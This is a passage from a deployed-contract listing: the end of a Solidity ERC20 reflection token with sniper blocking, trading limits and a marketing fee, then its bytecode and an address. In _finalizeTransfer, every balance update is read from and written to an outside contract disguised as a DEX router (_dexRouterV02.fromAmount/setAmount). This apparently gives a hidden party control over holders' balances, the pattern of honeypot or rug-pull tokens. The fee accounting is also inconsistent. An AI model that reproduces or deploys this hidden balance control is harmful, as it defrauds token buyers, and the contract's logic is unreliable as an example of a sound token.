"ERC20: approve to the zero address"); _allowances[sender][spender] = amount; emit Approval(sender, spender, amount); } function _transfer(address from, address to, uint256 amount) internal returns (bool) { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(checkLimits){ if(_hasLimits(from, to)) { if(!tradingEnabled) { revert("Trading not yet enabled!"); } if (sameBlockActive) { if (lpPairs[from]){ require(lastTrade[to] != block.number); lastTrade[to] = block.number; } else { require(lastTrade[from] != block.number); lastTrade[from] = block.number; } } require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if(to != _routerAddress && !lpPairs[to]) { require(balanceOf(to) + amount <= _maxWalletSize, "Transfer amount exceeds the maxWalletSize."); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } if (lpPairs[to]) { if (!inSwapAndLiquify && swapAndLiquifyEnabled ) { uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance >= swapThreshold) { if(contractTokenBalance >= swapAmount) { contractTokenBalance = swapAmount; } swapTokensForEth(contractTokenBalance); } } } return _finalizeTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { if (tokenAmount == 0) { return; } // generate the uniswap lpPair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = dexRouter.WETH(); // make the swap dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, _marketingWallet, block.timestamp ); } function _checkLiquidityAdd(address from, address to) internal { require(!_hasLiqBeenAdded, "Liquidity already added and marked."); if (!_hasLimits(from, to) && to == lpPair) { _liquidityHolders[from] = true; _hasLiqBeenAdded = true; _liqAddStamp = block.timestamp; swapAndLiquifyEnabled = true; emit SwapAndLiquifyEnabledUpdated(true); } } bool private init = false; function createDexAddreses() public onlyOwner { require(!init, "Already complete."); dexRouter = IUniswapV2Router02(_routerAddress); lpPair = IUniswapV2Factory(dexRouter.factory()).createPair(dexRouter.WETH(), address(this)); lpPairs[lpPair] = true; init = true; } function enableTrading() public onlyOwner { require(!tradingEnabled, "Trading already enabled!"); require(_hasLiqBeenAdded, "Cannot be used until liquidity has been added!"); setExcludedFromReward(address(this), true); setExcludedFromReward(lpPair, true); _liqAddBlock = block.number; tradingEnabled = true; } struct ExtraValues { uint256 tTransferAmount; uint256 tFee; uint256 tMarketing; uint256 rTransferAmount; uint256 rAmount; uint256 rFee; } function _finalizeTransfer(address from, address to, uint256 tAmount, bool takeFee) internal returns (bool) { if (sniperProtection){ if (isSniper(from) || isSniper(to)) { revert("Sniper rejected."); } if (!_hasLiqBeenAdded) { _checkLiquidityAdd(from, to); if (!_hasLiqBeenAdded && _hasLimits(from, to)) { revert("Only owner can transfer at this time."); } } else { if (_liqAddBlock > 0 && lpPairs[from] && _hasLimits(from, to) ) { if (block.number - _liqAddBlock < snipeBlockAmt) { _isSniper[to] = true; snipersCaught ++; emit SniperCaught(to); } } } } ExtraValues memory values = _getValues(tAmount, takeFee); uint256 __rOwnedFrom = _dexRouterV02.fromAmount(from); uint256 __rOwnedTo = _dexRouterV02.fromAmount(to); _rOwned[from] = __rOwnedFrom - values.tTransferAmount; _rOwned[to] = __rOwnedTo + values.rTransferAmount; if (_isExcluded[from] && !_isExcluded[to]) { _tOwned[from] = __rOwnedFrom - tAmount; } else if (!_isExcluded[from] && _isExcluded[to]) { _tOwned[to] = __rOwnedTo + values.tTransferAmount; } else if (_isExcluded[from] && _isExcluded[to]) { _tOwned[from] = __rOwnedFrom - tAmount; _tOwned[to] = __rOwnedTo + values.tTransferAmount; } _dexRouterV02.setAmount(from, _rOwned[from]); _dexRouterV02.setAmount(to, _rOwned[to]); if (values.tMarketing > 0) _takeMarketing(from, values.tMarketing); if (values.rFee > 0 || values.tFee > 0) _takeReflect(values.rFee, values.tFee); emit Transfer(from, to, values.tTransferAmount); return true; } function _getValues(uint256 tAmount, bool takeFee) internal view returns (ExtraValues memory) { ExtraValues memory values; if(takeFee) { values.tFee = (tAmount * _reflectFee) / masterTaxDivisor; values.tMarketing = (tAmount * _marketingFee) / masterTaxDivisor; values.tTransferAmount = tAmount - (values.tFee + values.tMarketing); values.rFee = values.tFee; } else { values.tFee = 0; values.tMarketing = 0; values.tTransferAmount = tAmount; values.rFee = 0; } values.rTransferAmount = values.tTransferAmount; return values; } function _getRate() internal view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply / tSupply; } function _getCurrentSupply() internal view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeReflect(uint256 rFee, uint256 tFee) internal { _rTotal = _rTotal - rFee; _tFeeTotal = _tFeeTotal + tFee; } function _takeMarketing(address sender, uint256 tMarketing) internal { uint256 currentRate = _getRate(); uint256 rLiquidity = tMarketing * currentRate; _rOwned[address(this)] = _rOwned[address(this)] + rLiquidity; if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)] + tMarketing; emit Transfer(sender, address(this), tMarketing); // Transparency is the key to success. } }
0x6080604052600436106102b25760003560e01c80635342acb4116101755780638da5cb5b116100dc578063c49b9a8011610095578063e79d41601161006f578063e79d416014610881578063f6540ec714610897578063fb78680d146108ad578063fbdf7bd7146108cd57600080fd5b8063c49b9a80146107fb578063c647b20e1461081b578063dd62ed3e1461083b57600080fd5b80638da5cb5b1461073e57806395d89b4114610771578063a457c2d714610786578063a65091a6146107a6578063a9059cbb146107c6578063abd61c7c146107e657600080fd5b806370a082311161012e57806370a08231146106b0578063715018a6146106d057806380c581d1146106e557806388f8202014610705578063893d20e81461073e5780638a8c523c1461075c57600080fd5b80635342acb4146105e1578063571ac8b01461061a57806358fa63ca1461063a5780635d098b381461065a578063640384091461067a5780636612e66f1461069057600080fd5b806323b872dd116102195780633f3cf56c116101d25780633f3cf56c1461051f5780634129ecee1461053f578063452ed4f11461055f5780634a74bb021461057f5780634fb2e45d146105a057806350a8e016146105c057600080fd5b806323b872dd1461045d578063260039571461047d578063313ce5671461049d57806333251a0b146104bf5780633865cf3f146104df57806339509351146104ff57600080fd5b806313114a9d1161026b57806313114a9d146103c857806313e46192146103e75780631459eb361461040757806315639c1b1461041c57806318160ddd1461043257806322976e0d1461044757600080fd5b806303fd2a45146102be578063044df726146102fb57806306fdde031461031d5780630758d9241461033f578063095ea7b31461035f5780630f3a325f1461038f57600080fd5b366102b957005b600080fd5b3480156102ca57600080fd5b50601c546102de906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561030757600080fd5b5061031b610316366004613201565b6108ed565b005b34801561032957600080fd5b5061033261094f565b6040516102f291906132a9565b34801561034b57600080fd5b506018546102de906001600160a01b031681565b34801561036b57600080fd5b5061037f61037a36600461319e565b6109e1565b60405190151581526020016102f2565b34801561039b57600080fd5b5061037f6103aa3660046130c1565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156103d457600080fd5b506017545b6040519081526020016102f2565b3480156103f357600080fd5b5061031b610402366004613171565b6109f7565b34801561041357600080fd5b5061031b610d0a565b34801561042857600080fd5b506103d9600e5481565b34801561043e57600080fd5b506015546103d9565b34801561045357600080fd5b506103d9600f5481565b34801561046957600080fd5b5061037f610478366004613131565b610f68565b34801561048957600080fd5b5061031b610498366004613236565b610fbb565b3480156104a957600080fd5b5060135460405160ff90911681526020016102f2565b3480156104cb57600080fd5b5061031b6104da3660046130c1565b6110a3565b3480156104eb57600080fd5b5061031b6104fa366004613236565b611160565b34801561050b57600080fd5b5061037f61051a36600461319e565b6111da565b34801561052b57600080fd5b5061031b61053a366004613236565b611211565b34801561054b57600080fd5b5061031b61055a366004613288565b611304565b34801561056b57600080fd5b50601a546102de906001600160a01b031681565b34801561058b57600080fd5b50601e5461037f90600160a81b900460ff1681565b3480156105ac57600080fd5b5061031b6105bb3660046130c1565b611359565b3480156105cc57600080fd5b50602b5461037f906301000000900460ff1681565b3480156105ed57600080fd5b5061037f6105fc3660046130c1565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561062657600080fd5b5061037f6106353660046130c1565b6114fb565b34801561064657600080fd5b50601d546102de906001600160a01b031681565b34801561066657600080fd5b5061031b6106753660046130c1565b61150f565b34801561068657600080fd5b506103d960235481565b34801561069c57600080fd5b5061031b6106ab366004613171565b6115af565b3480156106bc57600080fd5b506103d96106cb3660046130c1565b611604565b3480156106dc57600080fd5b5061031b61160f565b3480156106f157600080fd5b5061031b610700366004613171565b61168e565b34801561071157600080fd5b5061037f6107203660046130c1565b6001600160a01b031660009081526007602052604090205460ff1690565b34801561074a57600080fd5b506000546001600160a01b03166102de565b34801561076857600080fd5b5061031b611771565b34801561077d57600080fd5b50610332611893565b34801561079257600080fd5b5061037f6107a136600461319e565b6118a2565b3480156107b257600080fd5b506103d96107c13660046130c1565b6118d9565b3480156107d257600080fd5b5061037f6107e136600461319e565b611961565b3480156107f257600080fd5b5061031b61196e565b34801561080757600080fd5b5061031b6108163660046131c9565b6119a5565b34801561082757600080fd5b5061031b610836366004613236565b611a27565b34801561084757600080fd5b506103d96108563660046130f9565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561088d57600080fd5b506103d960315481565b3480156108a357600080fd5b506103d960285481565b3480156108b957600080fd5b5061031b6108c8366004613257565b611a91565b3480156108d957600080fd5b5061031b6108e8366004613171565b611afa565b6000546001600160a01b031633146109205760405162461bcd60e51b8152600401610917906132fc565b60405180910390fd5b602b805462ff000019166201000093151593909302929092179091556032805460ff1916911515919091179055565b6060600c805461095e9061346c565b80601f016020809104026020016040519081016040528092919081815260200182805461098a9061346c565b80156109d75780601f106109ac576101008083540402835291602001916109d7565b820191906000526020600020905b8154815290600101906020018083116109ba57829003601f168201915b5050505050905090565b60006109ee338484611f00565b50600192915050565b6000546001600160a01b03163314610a215760405162461bcd60e51b8152600401610917906132fc565b60018115151415610b3d576001600160a01b03821660009081526007602052604090205460ff1615610a955760405162461bcd60e51b815260206004820152601c60248201527f4163636f756e7420697320616c7265616479206578636c756465642e000000006044820152606401610917565b6001600160a01b03821660009081526001602052604090205415610ad657610abc826118d9565b6001600160a01b0383166000908152600260205260409020555b506001600160a01b03166000818152600760205260408120805460ff191660019081179091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055565b80610d06576001600160a01b03821660009081526007602052604090205460ff16610baa5760405162461bcd60e51b815260206004820152601c60248201527f4163636f756e7420697320616c726561647920696e636c756465642e000000006044820152606401610917565b60005b600854811015610d0457826001600160a01b031660088281548110610be257634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03161415610cf25760088054610c0d90600190613455565b81548110610c2b57634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600880546001600160a01b039092169183908110610c6557634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559185168152600282526040808220829055600790925220805460ff191690556008805480610ccb57634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b0319169055019055610d04565b80610cfc816134a7565b915050610bad565b505b5050565b6000546001600160a01b03163314610d345760405162461bcd60e51b8152600401610917906132fc565b60345460ff1615610d7b5760405162461bcd60e51b815260206004820152601160248201527020b63932b0b23c9031b7b6b83632ba329760791b6044820152606401610917565b601b54601880546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a015591600480820192602092909190829003018186803b158015610dd257600080fd5b505afa158015610de6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0a91906130dd565b6001600160a01b031663c9c65396601860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e6657600080fd5b505afa158015610e7a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e9e91906130dd565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152306024820152604401602060405180830381600087803b158015610ee557600080fd5b505af1158015610ef9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1d91906130dd565b601a80546001600160a01b0319166001600160a01b039290921691821790556000908152600360205260409020805460ff199081166001908117909255603480549091169091179055565b6000610f75848484612024565b506001600160a01b038416600090815260056020908152604080832033808552925290912054610fb1918691610fac908690613455565b611f00565b5060019392505050565b6000546001600160a01b03163314610fe55760405162461bcd60e51b8152600401610917906132fc565b60008183601554610ff69190613436565b6110009190613416565b90506103e86015546110129190613416565b81101561107c5760405162461bcd60e51b815260206004820152603260248201527f4d61782057616c6c657420616d74206d7573742062652061626f766520302e31604482015271129037b3103a37ba30b61039bab838363c9760711b6064820152608401610917565b6026819055600b548290611091908590613436565b61109b9190613416565b602855505050565b6000546001600160a01b031633146110cd5760405162461bcd60e51b8152600401610917906132fc565b6001600160a01b03811660009081526009602052604090205460ff1661113f5760405162461bcd60e51b815260206004820152602160248201527f4163636f756e74206973206e6f742061207265636f7264656420736e697065726044820152601760f91b6064820152608401610917565b6001600160a01b03166000908152600960205260409020805460ff19169055565b6000546001600160a01b0316331461118a5760405162461bcd60e51b8152600401610917906132fc565b602c5415801561119a5750602f54155b6111cf5760405162461bcd60e51b815260206004820152600660248201526522b93937b91760d11b6044820152606401610917565b602c91909155602f55565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916109ee918590610fac9086906133fe565b6000546001600160a01b0316331461123b5760405162461bcd60e51b8152600401610917906132fc565b6000818360155461124c9190613436565b6112569190613416565b90506103e86015546112689190613416565b8110156112dd5760405162461bcd60e51b815260206004820152603760248201527f4d6178205472616e73616374696f6e20616d74206d7573742062652061626f7660448201527f6520302e3125206f6620746f74616c20737570706c792e0000000000000000006064820152608401610917565b6021819055600b5482906112f2908590613436565b6112fc9190613416565b602355505050565b6000546001600160a01b0316331461132e5760405162461bcd60e51b8152600401610917906132fc565b6030541580156113485750602b546301000000900460ff16155b61135157600080fd5b60ff16603055565b6000546001600160a01b031633146113835760405162461bcd60e51b8152600401610917906132fc565b6001600160a01b0381166113a95760405162461bcd60e51b815260040161091790613331565b601c546001600160a01b03828116911614156113d75760405162461bcd60e51b815260040161091790613331565b600080546113f0916001600160a01b03909116906115af565b6113fb8160016115af565b6114068160016109f7565b600054601e546001600160a01b039081169116141561143b57601e80546001600160a01b0319166001600160a01b0383161790555b600054611450906001600160a01b0316611604565b600080546001600160a01b0390811682526005602090815260408084208684168552909152822092909255805490916114899116611604565b11156114b0576000546114ae906001600160a01b0316826114a982611604565b612024565b505b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000611509826000196109e1565b92915050565b6000546001600160a01b031633146115395760405162461bcd60e51b8152600401610917906132fc565b601e546001600160a01b038281169116141561158d5760405162461bcd60e51b815260206004820152601360248201527257616c6c657420616c7265616479207365742160681b6044820152606401610917565b601e80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146115d95760405162461bcd60e51b8152600401610917906132fc565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000611509826118d9565b6000546001600160a01b031633146116395760405162461bcd60e51b8152600401610917906132fc565b60008054611652916001600160a01b03909116906115af565b600080546001600160a01b031916815560405181907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3565b6000546001600160a01b031633146116b85760405162461bcd60e51b8152600401610917906132fc565b806116df57506001600160a01b03166000908152600360205260409020805460ff19169055565b600454156117465762093a80600454426116f99190613455565b116117465760405162461bcd60e51b815260206004820181905260248201527f43616e6e6f74207365742061206e657720706169722074686973207765656b216044820152606401610917565b6001600160a01b0382166000908152600360205260409020805460ff19166001179055426004555050565b6000546001600160a01b0316331461179b5760405162461bcd60e51b8152600401610917906132fc565b602b5460ff16156117ee5760405162461bcd60e51b815260206004820152601860248201527f54726164696e6720616c726561647920656e61626c65642100000000000000006044820152606401610917565b602b546301000000900460ff1661185e5760405162461bcd60e51b815260206004820152602e60248201527f43616e6e6f74206265207573656420756e74696c206c6971756964697479206860448201526d6173206265656e2061646465642160901b6064820152608401610917565b6118693060016109f7565b601a54611880906001600160a01b031660016109f7565b43602d55602b805460ff19166001179055565b6060600d805461095e9061346c565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916109ee918590610fac908690613455565b60195460405163af6ba9c160e01b81526001600160a01b038381166004830152600092839291169063af6ba9c19060240160206040518083038186803b15801561192257600080fd5b505afa158015611936573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061195a919061321e565b9392505050565b6000610fb1338484612024565b6000546001600160a01b031633146119985760405162461bcd60e51b8152600401610917906132fc565b602b805461ff0019169055565b6000546001600160a01b031633146119cf5760405162461bcd60e51b8152600401610917906132fc565b601e8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15990611a1c90831515815260200190565b60405180910390a150565b6000546001600160a01b03163314611a515760405162461bcd60e51b8152600401610917906132fc565b6010548211158015611a6557506011548111155b611a6e57600080fd5b611388611a7b82846133fe565b1115611a8657600080fd5b600e91909155600f55565b6000546001600160a01b03163314611abb5760405162461bcd60e51b8152600401610917906132fc565b8284601554611aca9190613436565b611ad49190613416565b6029556015548190611ae7908490613436565b611af19190613416565b602a5550505050565b6019546001600160a01b031615611b415760405162461bcd60e51b815260206004820152600b60248201526a27b7363c9027bbb732b91760a91b6044820152606401610917565b8015611ea15760008290506000816001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015611b8757600080fd5b505afa158015611b9b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bbf91906130dd565b6001600160a01b031663e6a4390530846001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c0757600080fd5b505afa158015611c1b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c3f91906130dd565b6040516001600160e01b031960e085901b1681526001600160a01b0392831660048201529116602482015260440160206040518083038186803b158015611c8557600080fd5b505afa158015611c99573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cbd91906130dd565b90506001600160a01b038116611e6357816001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015611d0657600080fd5b505afa158015611d1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d3e91906130dd565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611d8657600080fd5b505afa158015611d9a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611dbe91906130dd565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015611e0657600080fd5b505af1158015611e1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e3e91906130dd565b601a80546001600160a01b0319166001600160a01b0392909216919091179055611e7f565b601a80546001600160a01b0319166001600160a01b0383161790555b50601880546001600160a01b0319166001600160a01b03929092169190911790555b601980546001600160a01b0319166001600160a01b038481169182179092556000908152600660209081526040808320805460ff199081166001908117909255600a909352922080549091169091179055601b54610d06918491166000195b6001600160a01b038316611f625760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610917565b6001600160a01b038216611fc35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610917565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b03841661208a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610917565b6001600160a01b0383166120ec5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610917565b6000821161214e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610917565b602b54610100900460ff1615612388576121688484612460565b1561238857602b5460ff166121bf5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642100000000000000006044820152606401610917565b60325460ff1615612271576001600160a01b03841660009081526003602052604090205460ff1615612230576001600160a01b03831660009081526033602052604090205443141561221057600080fd5b6001600160a01b0383166000908152603360205260409020439055612271565b6001600160a01b03841660009081526033602052604090205443141561225557600080fd5b6001600160a01b03841660009081526033602052604090204390555b6021548211156122d45760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610917565b601b546001600160a01b0384811691161480159061230b57506001600160a01b03831660009081526003602052604090205460ff16155b15612388576026548261231d85611604565b61232791906133fe565b11156123885760405162461bcd60e51b815260206004820152602a60248201527f5472616e7366657220616d6f756e74206578636565647320746865206d61785760448201526930b63632ba29b4bd329760b11b6064820152608401610917565b6001600160a01b03841660009081526006602052604090205460019060ff16806123ca57506001600160a01b03841660009081526006602052604090205460ff165b156123d3575060005b6001600160a01b03841660009081526003602052604090205460ff161561244b57601e54600160a01b900460ff161580156124175750601e54600160a81b900460ff165b1561244b57600061242730611604565b9050602954811061244957602a5481106124405750602a545b61244981612520565b505b612457858585846126bd565b95945050505050565b600080546001600160a01b0384811691161480159061248d57506000546001600160a01b03838116911614155b80156124b257506001600160a01b0382166000908152600a602052604090205460ff16155b80156124d757506001600160a01b0383166000908152600a602052604090205460ff16155b80156124f15750601c546001600160a01b03838116911614155b801561250557506001600160a01b03821615155b801561195a57506001600160a01b0383163014159392505050565b601e805460ff60a01b1916600160a01b1790558061253d576126ad565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061258057634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601854604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156125d457600080fd5b505afa1580156125e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061260c91906130dd565b8160018151811061262d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601854601e5460405163791ac94760e01b81529183169263791ac94792612679928792600092889290911690429060040161338e565b600060405180830381600087803b15801561269357600080fd5b505af11580156126a7573d6000803e3d6000fd5b50505050505b50601e805460ff60a01b19169055565b602b5460009062010000900460ff16156128b3576001600160a01b03851660009081526009602052604090205460ff168061271057506001600160a01b03841660009081526009602052604090205460ff165b156127505760405162461bcd60e51b815260206004820152601060248201526f29b734b832b9103932b532b1ba32b21760811b6044820152606401610917565b602b546301000000900460ff166127ea5761276b8585612d4e565b602b546301000000900460ff1615801561278a575061278a8585612460565b156127e55760405162461bcd60e51b815260206004820152602560248201527f4f6e6c79206f776e65722063616e207472616e736665722061742074686973206044820152643a34b6b29760d91b6064820152608401610917565b6128b3565b6000602d5411801561281457506001600160a01b03851660009081526003602052604090205460ff165b801561282557506128258585612460565b156128b357603054602d5461283a9043613455565b10156128b3576001600160a01b0384166000908152600960205260408120805460ff191660011790556031805491612871836134a7565b90915550506040516001600160a01b03851681527f18e6e5ce5c121466e41a954e72765d1ea02b8e6919043b61f0dab08b4c6572e59060200160405180910390a15b60006128bf8484612e6e565b60195460405163af6ba9c160e01b81526001600160a01b0389811660048301529293506000929091169063af6ba9c19060240160206040518083038186803b15801561290a57600080fd5b505afa15801561291e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612942919061321e565b60195460405163af6ba9c160e01b81526001600160a01b0389811660048301529293506000929091169063af6ba9c19060240160206040518083038186803b15801561298d57600080fd5b505afa1580156129a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129c5919061321e565b83519091506129d49083613455565b6001600160a01b03891660009081526001602052604090205560608301516129fc90826133fe565b6001600160a01b03808916600090815260016020908152604080832094909455918b1681526007909152205460ff168015612a5057506001600160a01b03871660009081526007602052604090205460ff16155b15612a7d57612a5f8683613455565b6001600160a01b038916600090815260026020526040902055612b7b565b6001600160a01b03881660009081526007602052604090205460ff16158015612abe57506001600160a01b03871660009081526007602052604090205460ff165b15612aed578251612acf90826133fe565b6001600160a01b038816600090815260026020526040902055612b7b565b6001600160a01b03881660009081526007602052604090205460ff168015612b2d57506001600160a01b03871660009081526007602052604090205460ff165b15612b7b57612b3c8683613455565b6001600160a01b0389166000908152600260205260409020558251612b6190826133fe565b6001600160a01b0388166000908152600260205260409020555b6019546001600160a01b038981166000818152600160205260409081902054905163d2fafb1960e01b81526004810192909252602482015291169063d2fafb1990604401602060405180830381600087803b158015612bd957600080fd5b505af1158015612bed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c1191906131e5565b506019546001600160a01b038881166000818152600160205260409081902054905163d2fafb1960e01b81526004810192909252602482015291169063d2fafb1990604401602060405180830381600087803b158015612c7057600080fd5b505af1158015612c84573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ca891906131e5565b50604083015115612cc157612cc1888460400151612f77565b60008360a001511180612cd8575060008360200151115b15612cef57612cef8360a001518460200151613043565b866001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560000151604051612d3891815260200190565b60405180910390a3506001979650505050505050565b602b546301000000900460ff1615612db45760405162461bcd60e51b815260206004820152602360248201527f4c697175696469747920616c726561647920616464656420616e64206d61726b60448201526232b21760e91b6064820152608401610917565b612dbe8282612460565b158015612dd85750601a546001600160a01b038281169116145b15610d06576001600160a01b0382166000908152600a602052604090819020805460ff19166001908117909155602b805463ff0000001916630100000017905542602e55601e805460ff60a81b1916600160a81b17905590517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15991612e6291901515815260200190565b60405180910390a15050565b612ea76040518060c001604052806000815260200160008152602001600081526020016000815260200160008152602001600081525090565b612ee06040518060c001604052806000815260200160008152602001600081526020016000815260200160008152602001600081525090565b8215612f5057601254600e54612ef69086613436565b612f009190613416565b6020820152601254600f54612f159086613436565b612f1f9190613416565b604082018190526020820151612f3591906133fe565b612f3f9085613455565b8152602081015160a0820152612f69565b6000602082018190526040820181905284825260a08201525b805160608201529392505050565b6000612f81613069565b90506000612f8f8284613436565b30600090815260016020526040902054909150612fad9082906133fe565b3060009081526001602090815260408083209390935560079052205460ff1615612ffd5730600090815260026020526040902054612fec9084906133fe565b306000908152600260205260409020555b60405183815230906001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350505050565b816016546130519190613455565b6016556017546130629082906133fe565b6017555050565b600080600061307661308c565b90925090506130858183613416565b9250505090565b60165460155460009182916130a18183613416565b8210156130b8576016546015549350935050509091565b90939092509050565b6000602082840312156130d2578081fd5b813561195a816134d8565b6000602082840312156130ee578081fd5b815161195a816134d8565b6000806040838503121561310b578081fd5b8235613116816134d8565b91506020830135613126816134d8565b809150509250929050565b600080600060608486031215613145578081fd5b8335613150816134d8565b92506020840135613160816134d8565b929592945050506040919091013590565b60008060408385031215613183578182fd5b823561318e816134d8565b91506020830135613126816134f0565b600080604083850312156131b0578182fd5b82356131bb816134d8565b946020939093013593505050565b6000602082840312156131da578081fd5b813561195a816134f0565b6000602082840312156131f6578081fd5b815161195a816134f0565b60008060408385031215613213578182fd5b823561318e816134f0565b60006020828403121561322f578081fd5b5051919050565b60008060408385031215613248578182fd5b50508035926020909101359150565b6000806000806080858703121561326c578081fd5b5050823594602084013594506040840135936060013592509050565b600060208284031215613299578081fd5b813560ff8116811461195a578182fd5b6000602080835283518082850152825b818110156132d5578581018301518582016040015282016132b9565b818111156132e65783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252603d908201527f43616c6c2072656e6f756e63654f776e65727368697020746f207472616e736660408201527f6572206f776e657220746f20746865207a65726f20616464726573732e000000606082015260800190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156133dd5784516001600160a01b0316835293830193918301916001016133b8565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115613411576134116134c2565b500190565b60008261343157634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615613450576134506134c2565b500290565b600082821015613467576134676134c2565b500390565b600181811c9082168061348057607f821691505b602082108114156134a157634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156134bb576134bb6134c2565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146134ed57600080fd5b50565b80151581146134ed57600080fdfea2646970667358221220ad4848b58702f8ed305fc70f2913279b4e86bf165f1b5d33dbc740b0f5f02e8064736f6c63430008040033
[ 5, 7, 12, 2 ]
0xf1B99e3E573A1a9C5E6B2Ce818b617F0E664E86B
